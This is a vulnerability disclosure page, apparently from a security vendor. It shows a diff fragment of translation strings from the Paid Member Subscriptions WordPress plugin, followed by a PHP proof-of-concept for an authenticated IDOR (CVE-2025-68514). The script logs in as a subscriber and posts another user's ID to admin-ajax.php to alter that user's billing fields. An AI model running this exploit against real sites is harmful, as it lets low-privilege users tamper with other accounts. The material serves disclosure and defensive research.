 <?php __("Save the subscription plan order from the subscription plans checkboxes", "paid-member-subscriptions"); ?>
 <?php __("Selected Subscription Plan", "paid-member-subscriptions"); ?>
 <?php __("Select which plan will be by default selected when the front-end form loads.", "paid-member-subscriptions"); ?>
+<?php __("Select the Billing Fields you want to display on the Edit Profile forms. %s If no fields are selected, all available Billing Fields will be displayed.", "paid-member-subscriptions"); ?>
+<?php __('%1$sBilling Fields are not available!%2$s %5$s Activate the %1$sTax%2$s and/or %1$sInvoice%2$s add-ons from the %3$sPaid Member Subscriptions Add-ons%4$s section.', 'paid-member-subscriptions' ); ?>
+<?php __("PMS Billing Fields - only appears on the Edit Profile page.", "paid-member-subscriptions"); ?>
 <?php __("You will be able to complete the payment after you have confirmed your e-mail address.", "paid-member-subscriptions"); ?>
 <?php __("Restriction Type", "paid-member-subscriptions"); ?>
 <?php __("Full Courses Restriction", "paid-member-subscriptions"); ?>
@@ -2658,7 +2662,6 @@
 <?php __("A description for this subscription plan. This will be displayed on the register form.", "paid-member-subscriptions"); ?>
 <?php __("Set the subscription duration. Leave 0 for unlimited.", "paid-member-subscriptions"); ?>
 <?php __("Amount you want to charge people who join this plan. Leave 0 if you want this plan to be free.", "paid-member-subscriptions"); ?>
-<?php __('This feature is available only with the Manual, %1$sStripe%2$s, %3$sPayPal Express%4$s gateways or %5$sRecurring Payments for PayPal Standard%6$s add-on.', 'paid-member-subscriptions' ); ?>
 <?php __("Amount you want to charge people upfront when subscribing to this plan.", "paid-member-subscriptions"); ?>
 <?php __("The free trial represents the amount of time before charging the first recurring payment. The sign-up fee applies regardless of the free trial.", "paid-member-subscriptions"); ?>
 <?php __("Limit Payment Cycles", "paid-member-subscriptions"); ?>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68514 - Paid Member Subscriptions <= 2.16.8 - Authenticated (Subscriber+) Insecure Direct Object Reference

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'attacker_subscriber';
$password = 'attacker_password';

// Initialize cURL session
$ch = curl_init();

// Step 1: Authenticate to get WordPress cookies
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);

// Step 2: Exploit the IDOR vulnerability via Profile Builder edit profile form
// This targets the billing fields save functionality
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);

// Craft malicious request with arbitrary billing field slug
// The 'pms_billing_country' is an example billing field slug
// The user_id parameter targets another user's profile
$malicious_payload = [
    'action' => 'wppb_save_form_field',  // Profile Builder save action
    'user_id' => '2',  // Target user ID (different from current user)
    'pms_billing_country' => 'US',  // Arbitrary billing field manipulation
    'form_location' => 'edit_profile',
    'field' => 'PMS Billing Fields',
    // Additional required parameters may include nonce and form ID
    // Note: The vulnerability may bypass nonce requirements
];

curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($malicious_payload));
$response = curl_exec($ch);

// Check for successful exploitation
if (strpos($response, 'success') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
    echo "Exploitation successful. User metadata modified.n";
} else {
    echo "Exploitation failed. Response: " . htmlspecialchars($response) . "n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School